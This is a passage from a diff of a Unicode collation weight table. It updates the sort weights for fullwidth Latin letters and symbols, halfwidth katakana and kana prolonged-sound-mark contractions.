+FF26      ; [.1CE5.0020.0008] # FULLWIDTH LATIN CAPITAL LETTER F
+FF27      ; [.1CF4.0020.0008] # FULLWIDTH LATIN CAPITAL LETTER G
+FF28      ; [.1D18.0020.0008] # FULLWIDTH LATIN CAPITAL LETTER H
+FF29      ; [.1D32.0020.0008] # FULLWIDTH LATIN CAPITAL LETTER I
+FF2A      ; [.1D4C.0020.0008] # FULLWIDTH LATIN CAPITAL LETTER J
+FF2B      ; [.1D65.0020.0008] # FULLWIDTH LATIN CAPITAL LETTER K
+FF2C      ; [.1D77.0020.0008] # FULLWIDTH LATIN CAPITAL LETTER L
+FF2D      ; [.1DAA.0020.0008] # FULLWIDTH LATIN CAPITAL LETTER M
+FF2E      ; [.1DB9.0020.0008] # FULLWIDTH LATIN CAPITAL LETTER N
+FF2F      ; [.1DDD.0020.0008] # FULLWIDTH LATIN CAPITAL LETTER O
+FF30      ; [.1E0C.0020.0008] # FULLWIDTH LATIN CAPITAL LETTER P
+FF31      ; [.1E21.0020.0008] # FULLWIDTH LATIN CAPITAL LETTER Q
+FF32      ; [.1E33.0020.0008] # FULLWIDTH LATIN CAPITAL LETTER R
+FF33      ; [.1E71.0020.0008] # FULLWIDTH LATIN CAPITAL LETTER S
+FF34      ; [.1E95.0020.0008] # FULLWIDTH LATIN CAPITAL LETTER T
+FF35      ; [.1EB5.0020.0008] # FULLWIDTH LATIN CAPITAL LETTER U
+FF36      ; [.1EE3.0020.0008] # FULLWIDTH LATIN CAPITAL LETTER V
+FF37      ; [.1EF5.0020.0008] # FULLWIDTH LATIN CAPITAL LETTER W
+FF38      ; [.1EFF.0020.0008] # FULLWIDTH LATIN CAPITAL LETTER X
+FF39      ; [.1F0B.0020.0008] # FULLWIDTH LATIN CAPITAL LETTER Y
+FF3A      ; [.1F21.0020.0008] # FULLWIDTH LATIN CAPITAL LETTER Z
+FF3B      ; [*0319.0020.0002] # FULLWIDTH LEFT SQUARE BRACKET
+FF3C      ; [*0305.0020.0002] # FULLWIDTH REVERSE SOLIDUS
+FF3D      ; [*031A.0020.0002] # FULLWIDTH RIGHT SQUARE BRACKET
+FF3E      ; [*0485.0020.0002] # FULLWIDTH CIRCUMFLEX ACCENT
 FF3F      ; [*020B.0020.0002] # FULLWIDTH LOW LINE
-FF40      ; [*0463.0020.0002] # FULLWIDTH GRAVE ACCENT
-FF41      ; [.1BC2.0020.0002] # FULLWIDTH LATIN SMALL LETTER A
-FF42      ; [.1BDB.0020.0002] # FULLWIDTH LATIN SMALL LETTER B
-FF43      ; [.1BF5.0020.0002] # FULLWIDTH LATIN SMALL LETTER C
-FF44      ; [.1C0A.0020.0002] # FULLWIDTH LATIN SMALL LETTER D
-FF45      ; [.1C25.0020.0002] # FULLWIDTH LATIN SMALL LETTER E
-FF46      ; [.1C60.0020.0002] # FULLWIDTH LATIN SMALL LETTER F
-FF47      ; [.1C6F.0020.0002] # FULLWIDTH LATIN SMALL LETTER G
-FF48      ; [.1C93.0020.0002] # FULLWIDTH LATIN SMALL LETTER H
-FF49      ; [.1CAD.0020.0002] # FULLWIDTH LATIN SMALL LETTER I
-FF4A      ; [.1CC7.0020.0002] # FULLWIDTH LATIN SMALL LETTER J
-FF4B      ; [.1CE0.0020.0002] # FULLWIDTH LATIN SMALL LETTER K
-FF4C      ; [.1CF2.0020.0002] # FULLWIDTH LATIN SMALL LETTER L
-FF4D      ; [.1D25.0020.0002] # FULLWIDTH LATIN SMALL LETTER M
-FF4E      ; [.1D34.0020.0002] # FULLWIDTH LATIN SMALL LETTER N
-FF4F      ; [.1D58.0020.0002] # FULLWIDTH LATIN SMALL LETTER O
-FF50      ; [.1D87.0020.0002] # FULLWIDTH LATIN SMALL LETTER P
-FF51      ; [.1D9C.0020.0002] # FULLWIDTH LATIN SMALL LETTER Q
-FF52      ; [.1DAE.0020.0002] # FULLWIDTH LATIN SMALL LETTER R
-FF53      ; [.1DEC.0020.0002] # FULLWIDTH LATIN SMALL LETTER S
-FF54      ; [.1E10.0020.0002] # FULLWIDTH LATIN SMALL LETTER T
-FF55      ; [.1E30.0020.0002] # FULLWIDTH LATIN SMALL LETTER U
-FF56      ; [.1E5E.0020.0002] # FULLWIDTH LATIN SMALL LETTER V
-FF57      ; [.1E70.0020.0002] # FULLWIDTH LATIN SMALL LETTER W
-FF58      ; [.1E7A.0020.0002] # FULLWIDTH LATIN SMALL LETTER X
-FF59      ; [.1E86.0020.0002] # FULLWIDTH LATIN SMALL LETTER Y
-FF5A      ; [.1E9C.0020.0002] # FULLWIDTH LATIN SMALL LETTER Z
-FF5B      ; [*0314.0020.0002] # FULLWIDTH LEFT CURLY BRACKET
-FF5C      ; [*05FE.0020.0002] # FULLWIDTH VERTICAL LINE
-FF5D      ; [*0315.0020.0002] # FULLWIDTH RIGHT CURLY BRACKET
-FF5E      ; [*0600.0020.0002] # FULLWIDTH TILDE
-FF5F      ; [*0326.0020.0002] # FULLWIDTH LEFT WHITE PARENTHESIS
-FF60      ; [*0327.0020.0002] # FULLWIDTH RIGHT WHITE PARENTHESIS
-FF61      ; [*0287.0020.0002] # HALFWIDTH IDEOGRAPHIC FULL STOP
-FF62      ; [*036C.0020.0002] # HALFWIDTH LEFT CORNER BRACKET
-FF63      ; [*036D.0020.0002] # HALFWIDTH RIGHT CORNER BRACKET
-FF64      ; [*0230.0020.0002] # HALFWIDTH IDEOGRAPHIC COMMA
-FF65      ; [*0220.0020.0002] # HALFWIDTH KATAKANA MIDDLE DOT
-FF66      ; [.3BF3.0020.0011.0002] # HALFWIDTH KATAKANA LETTER WO
-FF67      ; [.3BC3.0020.000F.0002] # HALFWIDTH KATAKANA LETTER SMALL A
-FF68      ; [.3BC4.0020.000F.0002] # HALFWIDTH KATAKANA LETTER SMALL I
-FF69      ; [.3BC5.0020.000F.0002] # HALFWIDTH KATAKANA LETTER SMALL U
-FF6A      ; [.3BC7.0020.000F.0002] # HALFWIDTH KATAKANA LETTER SMALL E
-FF6B      ; [.3BC8.0020.000F.0002] # HALFWIDTH KATAKANA LETTER SMALL O
-FF6C      ; [.3BE7.0020.000F.0002] # HALFWIDTH KATAKANA LETTER SMALL YA
-FF6D      ; [.3BE8.0020.000F.0002] # HALFWIDTH KATAKANA LETTER SMALL YU
-FF6E      ; [.3BEA.0020.000F.0002] # HALFWIDTH KATAKANA LETTER SMALL YO
-FF6F      ; [.3BD5.0020.000F.0002] # HALFWIDTH KATAKANA LETTER SMALL TU
-FF70      ; [.1B89.0020.0002] # HALFWIDTH KATAKANA-HIRAGANA PROLONGED SOUND MARK
-FF71      ; [.3BC3.0020.0011.0002] # HALFWIDTH KATAKANA LETTER A
-FF72      ; [.3BC4.0020.0011.0002] # HALFWIDTH KATAKANA LETTER I
-FF73      ; [.3BC5.0020.0011.0002] # HALFWIDTH KATAKANA LETTER U
-FF74      ; [.3BC7.0020.0011.0002] # HALFWIDTH KATAKANA LETTER E
-FF75      ; [.3BC8.0020.0011.0002] # HALFWIDTH KATAKANA LETTER O
-FF76      ; [.3BC9.0020.0011.0002] # HALFWIDTH KATAKANA LETTER KA
-FF77      ; [.3BCA.0020.0011.0002] # HALFWIDTH KATAKANA LETTER KI
-FF78      ; [.3BCB.0020.0011.0002] # HALFWIDTH KATAKANA LETTER KU
-FF79      ; [.3BCC.0020.0011.0002] # HALFWIDTH KATAKANA LETTER KE
-FF7A      ; [.3BCD.0020.0011.0002] # HALFWIDTH KATAKANA LETTER KO
-FF7B      ; [.3BCE.0020.0011.0002] # HALFWIDTH KATAKANA LETTER SA
-FF7C      ; [.3BCF.0020.0011.0002] # HALFWIDTH KATAKANA LETTER SI
-FF7D      ; [.3BD0.0020.0011.0002] # HALFWIDTH KATAKANA LETTER SU
-FF7E      ; [.3BD1.0020.0011.0002] # HALFWIDTH KATAKANA LETTER SE
-FF7F      ; [.3BD2.0020.0011.0002] # HALFWIDTH KATAKANA LETTER SO
-FF80      ; [.3BD3.0020.0011.0002] # HALFWIDTH KATAKANA LETTER TA
-FF81      ; [.3BD4.0020.0011.0002] # HALFWIDTH KATAKANA LETTER TI
-FF82      ; [.3BD5.0020.0011.0002] # HALFWIDTH KATAKANA LETTER TU
-FF83      ; [.3BD6.0020.0011.0002] # HALFWIDTH KATAKANA LETTER TE
-FF84      ; [.3BD7.0020.0011.0002] # HALFWIDTH KATAKANA LETTER TO
-FF85      ; [.3BD8.0020.0011.0002] # HALFWIDTH KATAKANA LETTER NA
-FF86      ; [.3BD9.0020.0011.0002] # HALFWIDTH KATAKANA LETTER NI
-FF87      ; [.3BDA.0020.0011.0002] # HALFWIDTH KATAKANA LETTER NU
-FF88      ; [.3BDB.0020.0011.0002] # HALFWIDTH KATAKANA LETTER NE
-FF89      ; [.3BDC.0020.0011.0002] # HALFWIDTH KATAKANA LETTER NO
-FF8A      ; [.3BDD.0020.0011.0002] # HALFWIDTH KATAKANA LETTER HA
-FF8B      ; [.3BDE.0020.0011.0002] # HALFWIDTH KATAKANA LETTER HI
-FF8C      ; [.3BDF.0020.0011.0002] # HALFWIDTH KATAKANA LETTER HU
-FF8D      ; [.3BE0.0020.0011.0002] # HALFWIDTH KATAKANA LETTER HE
-FF8E      ; [.3BE1.0020.0011.0002] # HALFWIDTH KATAKANA LETTER HO
-FF8F      ; [.3BE2.0020.0011.0002] # HALFWIDTH KATAKANA LETTER MA
-FF90      ; [.3BE3.0020.0011.0002] # HALFWIDTH KATAKANA LETTER MI
-FF91      ; [.3BE4.0020.0011.0002] # HALFWIDTH KATAKANA LETTER MU
-FF92      ; [.3BE5.0020.0011.0002] # HALFWIDTH KATAKANA LETTER ME
-FF93      ; [.3BE6.0020.0011.0002] # HALFWIDTH KATAKANA LETTER MO
-FF94      ; [.3BE7.0020.0011.0002] # HALFWIDTH KATAKANA LETTER YA
-FF95      ; [.3BE8.0020.0011.0002] # HALFWIDTH KATAKANA LETTER YU
-FF96      ; [.3BEA.0020.0011.0002] # HALFWIDTH KATAKANA LETTER YO
-FF97      ; [.3BEB.0020.0011.0002] # HALFWIDTH KATAKANA LETTER RA
-FF98      ; [.3BEC.0020.0011.0002] # HALFWIDTH KATAKANA LETTER RI
-FF99      ; [.3BED.0020.0011.0002] # HALFWIDTH KATAKANA LETTER RU
-FF9A      ; [.3BEE.0020.0011.0002] # HALFWIDTH KATAKANA LETTER RE
-FF9B      ; [.3BEF.0020.0011.0002] # HALFWIDTH KATAKANA LETTER RO
-FF9C      ; [.3BF0.0020.0011.0002] # HALFWIDTH KATAKANA LETTER WA
-FF9D      ; [.3BF4.0020.0011.0002] # HALFWIDTH KATAKANA LETTER N
+FF40      ; [*0482.0020.0002] # FULLWIDTH GRAVE ACCENT
+FF41      ; [.1C47.0020.0002] # FULLWIDTH LATIN SMALL LETTER A
+FF42      ; [.1C60.0020.0002] # FULLWIDTH LATIN SMALL LETTER B
+FF43      ; [.1C7A.0020.0002] # FULLWIDTH LATIN SMALL LETTER C
+FF44      ; [.1C8F.0020.0002] # FULLWIDTH LATIN SMALL LETTER D
+FF45      ; [.1CAA.0020.0002] # FULLWIDTH LATIN SMALL LETTER E
+FF46      ; [.1CE5.0020.0002] # FULLWIDTH LATIN SMALL LETTER F
+FF47      ; [.1CF4.0020.0002] # FULLWIDTH LATIN SMALL LETTER G
+FF48      ; [.1D18.0020.0002] # FULLWIDTH LATIN SMALL LETTER H
+FF49      ; [.1D32.0020.0002] # FULLWIDTH LATIN SMALL LETTER I
+FF4A      ; [.1D4C.0020.0002] # FULLWIDTH LATIN SMALL LETTER J
+FF4B      ; [.1D65.0020.0002] # FULLWIDTH LATIN SMALL LETTER K
+FF4C      ; [.1D77.0020.0002] # FULLWIDTH LATIN SMALL LETTER L
+FF4D      ; [.1DAA.0020.0002] # FULLWIDTH LATIN SMALL LETTER M
+FF4E      ; [.1DB9.0020.0002] # FULLWIDTH LATIN SMALL LETTER N
+FF4F      ; [.1DDD.0020.0002] # FULLWIDTH LATIN SMALL LETTER O
+FF50      ; [.1E0C.0020.0002] # FULLWIDTH LATIN SMALL LETTER P
+FF51      ; [.1E21.0020.0002] # FULLWIDTH LATIN SMALL LETTER Q
+FF52      ; [.1E33.0020.0002] # FULLWIDTH LATIN SMALL LETTER R
+FF53      ; [.1E71.0020.0002] # FULLWIDTH LATIN SMALL LETTER S
+FF54      ; [.1E95.0020.0002] # FULLWIDTH LATIN SMALL LETTER T
+FF55      ; [.1EB5.0020.0002] # FULLWIDTH LATIN SMALL LETTER U
+FF56      ; [.1EE3.0020.0002] # FULLWIDTH LATIN SMALL LETTER V
+FF57      ; [.1EF5.0020.0002] # FULLWIDTH LATIN SMALL LETTER W
+FF58      ; [.1EFF.0020.0002] # FULLWIDTH LATIN SMALL LETTER X
+FF59      ; [.1F0B.0020.0002] # FULLWIDTH LATIN SMALL LETTER Y
+FF5A      ; [.1F21.0020.0002] # FULLWIDTH LATIN SMALL LETTER Z
+FF5B      ; [*031B.0020.0002] # FULLWIDTH LEFT CURLY BRACKET
+FF5C      ; [*061E.0020.0002] # FULLWIDTH VERTICAL LINE
+FF5D      ; [*031C.0020.0002] # FULLWIDTH RIGHT CURLY BRACKET
+FF5E      ; [*0620.0020.0002] # FULLWIDTH TILDE
+FF5F      ; [*032D.0020.0002] # FULLWIDTH LEFT WHITE PARENTHESIS
+FF60      ; [*032E.0020.0002] # FULLWIDTH RIGHT WHITE PARENTHESIS
+FF61      ; [*028A.0020.0002] # HALFWIDTH IDEOGRAPHIC FULL STOP
+FF62      ; [*0373.0020.0002] # HALFWIDTH LEFT CORNER BRACKET
+FF63      ; [*0374.0020.0002] # HALFWIDTH RIGHT CORNER BRACKET
+FF64      ; [*0231.0020.0002] # HALFWIDTH IDEOGRAPHIC COMMA
+FF65      ; [*0221.0020.0002] # HALFWIDTH KATAKANA MIDDLE DOT
+FF66      ; [.3D8A.0020.0011.0002] # HALFWIDTH KATAKANA LETTER WO
+FF67      ; [.3D5A.0020.000F.0002] # HALFWIDTH KATAKANA LETTER SMALL A
+FF68      ; [.3D5B.0020.000F.0002] # HALFWIDTH KATAKANA LETTER SMALL I
+FF69      ; [.3D5C.0020.000F.0002] # HALFWIDTH KATAKANA LETTER SMALL U
+FF6A      ; [.3D5E.0020.000F.0002] # HALFWIDTH KATAKANA LETTER SMALL E
+FF6B      ; [.3D5F.0020.000F.0002] # HALFWIDTH KATAKANA LETTER SMALL O
+FF6C      ; [.3D7E.0020.000F.0002] # HALFWIDTH KATAKANA LETTER SMALL YA
+FF6D      ; [.3D7F.0020.000F.0002] # HALFWIDTH KATAKANA LETTER SMALL YU
+FF6E      ; [.3D81.0020.000F.0002] # HALFWIDTH KATAKANA LETTER SMALL YO
+FF6F      ; [.3D6C.0020.000F.0002] # HALFWIDTH KATAKANA LETTER SMALL TU
+FF70      ; [.1C0E.0020.0002] # HALFWIDTH KATAKANA-HIRAGANA PROLONGED SOUND MARK
+FF71      ; [.3D5A.0020.0011.0002] # HALFWIDTH KATAKANA LETTER A
+FF72      ; [.3D5B.0020.0011.0002] # HALFWIDTH KATAKANA LETTER I
+FF73      ; [.3D5C.0020.0011.0002] # HALFWIDTH KATAKANA LETTER U
+FF74      ; [.3D5E.0020.0011.0002] # HALFWIDTH KATAKANA LETTER E
+FF75      ; [.3D5F.0020.0011.0002] # HALFWIDTH KATAKANA LETTER O
+FF76      ; [.3D60.0020.0011.0002] # HALFWIDTH KATAKANA LETTER KA
+FF77      ; [.3D61.0020.0011.0002] # HALFWIDTH KATAKANA LETTER KI
+FF78      ; [.3D62.0020.0011.0002] # HALFWIDTH KATAKANA LETTER KU
+FF79      ; [.3D63.0020.0011.0002] # HALFWIDTH KATAKANA LETTER KE
+FF7A      ; [.3D64.0020.0011.0002] # HALFWIDTH KATAKANA LETTER KO
+FF7B      ; [.3D65.0020.0011.0002] # HALFWIDTH KATAKANA LETTER SA
+FF7C      ; [.3D66.0020.0011.0002] # HALFWIDTH KATAKANA LETTER SI
+FF7D      ; [.3D67.0020.0011.0002] # HALFWIDTH KATAKANA LETTER SU
+FF7E      ; [.3D68.0020.0011.0002] # HALFWIDTH KATAKANA LETTER SE
+FF7F      ; [.3D69.0020.0011.0002] # HALFWIDTH KATAKANA LETTER SO
+FF80      ; [.3D6A.0020.0011.0002] # HALFWIDTH KATAKANA LETTER TA
+FF81      ; [.3D6B.0020.0011.0002] # HALFWIDTH KATAKANA LETTER TI
+FF82      ; [.3D6C.0020.0011.0002] # HALFWIDTH KATAKANA LETTER TU
+FF83      ; [.3D6D.0020.0011.0002] # HALFWIDTH KATAKANA LETTER TE
+FF84      ; [.3D6E.0020.0011.0002] # HALFWIDTH KATAKANA LETTER TO
+FF85      ; [.3D6F.0020.0011.0002] # HALFWIDTH KATAKANA LETTER NA
+FF86      ; [.3D70.0020.0011.0002] # HALFWIDTH KATAKANA LETTER NI
+FF87      ; [.3D71.0020.0011.0002] # HALFWIDTH KATAKANA LETTER NU
+FF88      ; [.3D72.0020.0011.0002] # HALFWIDTH KATAKANA LETTER NE
+FF89      ; [.3D73.0020.0011.0002] # HALFWIDTH KATAKANA LETTER NO
+FF8A      ; [.3D74.0020.0011.0002] # HALFWIDTH KATAKANA LETTER HA
+FF8B      ; [.3D75.0020.0011.0002] # HALFWIDTH KATAKANA LETTER HI
+FF8C      ; [.3D76.0020.0011.0002] # HALFWIDTH KATAKANA LETTER HU
+FF8D      ; [.3D77.0020.0011.0002] # HALFWIDTH KATAKANA LETTER HE
+FF8E      ; [.3D78.0020.0011.0002] # HALFWIDTH KATAKANA LETTER HO
+FF8F      ; [.3D79.0020.0011.0002] # HALFWIDTH KATAKANA LETTER MA
+FF90      ; [.3D7A.0020.0011.0002] # HALFWIDTH KATAKANA LETTER MI
+FF91      ; [.3D7B.0020.0011.0002] # HALFWIDTH KATAKANA LETTER MU
+FF92      ; [.3D7C.0020.0011.0002] # HALFWIDTH KATAKANA LETTER ME
+FF93      ; [.3D7D.0020.0011.0002] # HALFWIDTH KATAKANA LETTER MO
+FF94      ; [.3D7E.0020.0011.0002] # HALFWIDTH KATAKANA LETTER YA
+FF95      ; [.3D7F.0020.0011.0002] # HALFWIDTH KATAKANA LETTER YU
+FF96      ; [.3D81.0020.0011.0002] # HALFWIDTH KATAKANA LETTER YO
+FF97      ; [.3D82.0020.0011.0002] # HALFWIDTH KATAKANA LETTER RA
+FF98      ; [.3D83.0020.0011.0002] # HALFWIDTH KATAKANA LETTER RI
+FF99      ; [.3D84.0020.0011.0002] # HALFWIDTH KATAKANA LETTER RU
+FF9A      ; [.3D85.0020.0011.0002] # HALFWIDTH KATAKANA LETTER RE
+FF9B      ; [.3D86.0020.0011.0002] # HALFWIDTH KATAKANA LETTER RO
+FF9C      ; [.3D87.0020.0011.0002] # HALFWIDTH KATAKANA LETTER WA
+FF9D      ; [.3D8B.0020.0011.0002] # HALFWIDTH KATAKANA LETTER N
 FF9E      ; [.0000.0037.0002] # HALFWIDTH KATAKANA VOICED SOUND MARK
 FF9F      ; [.0000.0038.0002] # HALFWIDTH KATAKANA SEMI-VOICED SOUND MARK
-FFE0      ; [.1B8C.0020.0002] # FULLWIDTH CENT SIGN
-FFE1      ; [.1B8E.0020.0002] # FULLWIDTH POUND SIGN
-FFE2      ; [*05FD.0020.0002] # FULLWIDTH NOT SIGN
+FFE0      ; [.1C11.0020.0002] # FULLWIDTH CENT SIGN
+FFE1      ; [.1C13.0020.0002] # FULLWIDTH POUND SIGN
+FFE2      ; [*061D.0020.0002] # FULLWIDTH NOT SIGN
 FFE3      ; [*0209.0020.0002] # FULLWIDTH MACRON
-FFE4      ; [*05FF.0020.0002] # FULLWIDTH BROKEN BAR
-FFE5      ; [.1B8F.0020.0002] # FULLWIDTH YEN SIGN
-FFE6      ; [.1BA2.0020.0002] # FULLWIDTH WON SIGN
-FFE8      ; [*07F6.0020.0002] # HALFWIDTH FORMS LIGHT VERTICAL
-FFE9      ; [*057C.0020.0002] # HALFWIDTH LEFTWARDS ARROW
-FFEA      ; [*057E.0020.0002] # HALFWIDTH UPWARDS ARROW
-FFEB      ; [*057D.0020.0002] # HALFWIDTH RIGHTWARDS ARROW
-FFEC      ; [*057F.0020.0002] # HALFWIDTH DOWNWARDS ARROW
-FFED      ; [*0894.0020.0002] # HALFWIDTH BLACK SQUARE
-FFEE      ; [*08BF.0020.0002] # HALFWIDTH WHITE CIRCLE
-30A1 30FC ; [.3BC3.0020.000F.0002][.3BC3.0020.0007.0002] # <KATAKANA LETTER SMALL A, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-FF67 30FC ; [.3BC3.0020.000F.0002][.3BC3.0020.0007.0002] # <HALFWIDTH KATAKANA LETTER SMALL A, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-FF67 FF70 ; [.3BC3.0020.000F.0002][.3BC3.0020.0007.0002] # <HALFWIDTH KATAKANA LETTER SMALL A, HALFWIDTH KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-3041 30FC ; [.3BC3.0020.000F.0001][.3BC3.0020.0007.0002] # <HIRAGANA LETTER SMALL A, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-30A2 30FC ; [.3BC3.0020.0011.0002][.3BC3.0020.0007.0002] # <KATAKANA LETTER A, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-FF71 30FC ; [.3BC3.0020.0011.0002][.3BC3.0020.0007.0002] # <HALFWIDTH KATAKANA LETTER A, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-FF71 FF70 ; [.3BC3.0020.0011.0002][.3BC3.0020.0007.0002] # <HALFWIDTH KATAKANA LETTER A, HALFWIDTH KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-3042 30FC ; [.3BC3.0020.0011.0001][.3BC3.0020.0007.0002] # <HIRAGANA LETTER A, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-30AB 30FC ; [.3BC9.0020.0011.0002][.3BC3.0020.0007.0002] # <KATAKANA LETTER KA, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-FF76 30FC ; [.3BC9.0020.0011.0002][.3BC3.0020.0007.0002] # <HALFWIDTH KATAKANA LETTER KA, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-FF76 FF70 ; [.3BC9.0020.0011.0002][.3BC3.0020.0007.0002] # <HALFWIDTH KATAKANA LETTER KA, HALFWIDTH KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-304B 30FC ; [.3BC9.0020.0011.0001][.3BC3.0020.0007.0002] # <HIRAGANA LETTER KA, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-30AC 30FC ; [.3BC9.0020.0011.0002][.0000.0037.0002][.3BC3.0020.0007.0002] # <KATAKANA LETTER GA, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-30AB 3099 30FC ; [.3BC9.0020.0011.0002][.0000.0037.0002][.3BC3.0020.0007.0002] # <KATAKANA LETTER KA, COMBINING KATAKANA-HIRAGANA VOICED SOUND MARK, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-FF76 FF9E 30FC ; [.3BC9.0020.0011.0002][.0000.0037.0002][.3BC3.0020.0007.0002] # <HALFWIDTH KATAKANA LETTER KA, HALFWIDTH KATAKANA VOICED SOUND MARK, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-FF76 FF9E FF70 ; [.3BC9.0020.0011.0002][.0000.0037.0002][.3BC3.0020.0007.0002] # <HALFWIDTH KATAKANA LETTER KA, HALFWIDTH KATAKANA VOICED SOUND MARK, HALFWIDTH KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-304C 30FC ; [.3BC9.0020.0011.0001][.0000.0037.0002][.3BC3.0020.0007.0002] # <HIRAGANA LETTER GA, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-304B 3099 30FC ; [.3BC9.0020.0011.0001][.0000.0037.0002][.3BC3.0020.0007.0002] # <HIRAGANA LETTER KA, COMBINING KATAKANA-HIRAGANA VOICED SOUND MARK, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-30B5 30FC ; [.3BCE.0020.0011.0002][.3BC3.0020.0007.0002] # <KATAKANA LETTER SA, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-FF7B 30FC ; [.3BCE.0020.0011.0002][.3BC3.0020.0007.0002] # <HALFWIDTH KATAKANA LETTER SA, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-FF7B FF70 ; [.3BCE.0020.0011.0002][.3BC3.0020.0007.0002] # <HALFWIDTH KATAKANA LETTER SA, HALFWIDTH KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-3055 30FC ; [.3BCE.0020.0011.0001][.3BC3.0020.0007.0002] # <HIRAGANA LETTER SA, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-30B6 30FC ; [.3BCE.0020.0011.0002][.0000.0037.0002][.3BC3.0020.0007.0002] # <KATAKANA LETTER ZA, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-30B5 3099 30FC ; [.3BCE.0020.0011.0002][.0000.0037.0002][.3BC3.0020.0007.0002] # <KATAKANA LETTER SA, COMBINING KATAKANA-HIRAGANA VOICED SOUND MARK, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-FF7B FF9E 30FC ; [.3BCE.0020.0011.0002][.0000.0037.0002][.3BC3.0020.0007.0002] # <HALFWIDTH KATAKANA LETTER SA, HALFWIDTH KATAKANA VOICED SOUND MARK, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-FF7B FF9E FF70 ; [.3BCE.0020.0011.0002][.0000.0037.0002][.3BC3.0020.0007.0002] # <HALFWIDTH KATAKANA LETTER SA, HALFWIDTH KATAKANA VOICED SOUND MARK, HALFWIDTH KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-3056 30FC ; [.3BCE.0020.0011.0001][.0000.0037.0002][.3BC3.0020.0007.0002] # <HIRAGANA LETTER ZA, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-3055 3099 30FC ; [.3BCE.0020.0011.0001][.0000.0037.0002][.3BC3.0020.0007.0002] # <HIRAGANA LETTER SA, COMBINING KATAKANA-HIRAGANA VOICED SOUND MARK, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-30BF 30FC ; [.3BD3.0020.0011.0002][.3BC3.0020.0007.0002] # <KATAKANA LETTER TA, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-FF80 30FC ; [.3BD3.0020.0011.0002][.3BC3.0020.0007.0002] # <HALFWIDTH KATAKANA LETTER TA, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-FF80 FF70 ; [.3BD3.0020.0011.0002][.3BC3.0020.0007.0002] # <HALFWIDTH KATAKANA LETTER TA, HALFWIDTH KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-305F 30FC ; [.3BD3.0020.0011.0001][.3BC3.0020.0007.0002] # <HIRAGANA LETTER TA, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-30C0 30FC ; [.3BD3.0020.0011.0002][.0000.0037.0002][.3BC3.0020.0007.0002] # <KATAKANA LETTER DA, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-30BF 3099 30FC ; [.3BD3.0020.0011.0002][.0000.0037.0002][.3BC3.0020.0007.0002] # <KATAKANA LETTER TA, COMBINING KATAKANA-HIRAGANA VOICED SOUND MARK, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-FF80 FF9E 30FC ; [.3BD3.0020.0011.0002][.0000.0037.0002][.3BC3.0020.0007.0002] # <HALFWIDTH KATAKANA LETTER TA, HALFWIDTH KATAKANA VOICED SOUND MARK, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-FF80 FF9E FF70 ; [.3BD3.0020.0011.0002][.0000.0037.0002][.3BC3.0020.0007.0002] # <HALFWIDTH KATAKANA LETTER TA, HALFWIDTH KATAKANA VOICED SOUND MARK, HALFWIDTH KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-3060 30FC ; [.3BD3.0020.0011.0001][.0000.0037.0002][.3BC3.0020.0007.0002] # <HIRAGANA LETTER DA, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-305F 3099 30FC ; [.3BD3.0020.0011.0001][.0000.0037.0002][.3BC3.0020.0007.0002] # <HIRAGANA LETTER TA, COMBINING KATAKANA-HIRAGANA VOICED SOUND MARK, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-30CA 30FC ; [.3BD8.0020.0011.0002][.3BC3.0020.0007.0002] # <KATAKANA LETTER NA, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-FF85 30FC ; [.3BD8.0020.0011.0002][.3BC3.0020.0007.0002] # <HALFWIDTH KATAKANA LETTER NA, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-FF85 FF70 ; [.3BD8.0020.0011.0002][.3BC3.0020.0007.0002] # <HALFWIDTH KATAKANA LETTER NA, HALFWIDTH KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-306A 30FC ; [.3BD8.0020.0011.0001][.3BC3.0020.0007.0002] # <HIRAGANA LETTER NA, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-30CF 30FC ; [.3BDD.0020.0011.0002][.3BC3.0020.0007.0002] # <KATAKANA LETTER HA, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-FF8A 30FC ; [.3BDD.0020.0011.0002][.3BC3.0020.0007.0002] # <HALFWIDTH KATAKANA LETTER HA, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-FF8A FF70 ; [.3BDD.0020.0011.0002][.3BC3.0020.0007.0002] # <HALFWIDTH KATAKANA LETTER HA, HALFWIDTH KATAKANA-HIRAGANA PROLONGED SOUND MARK>
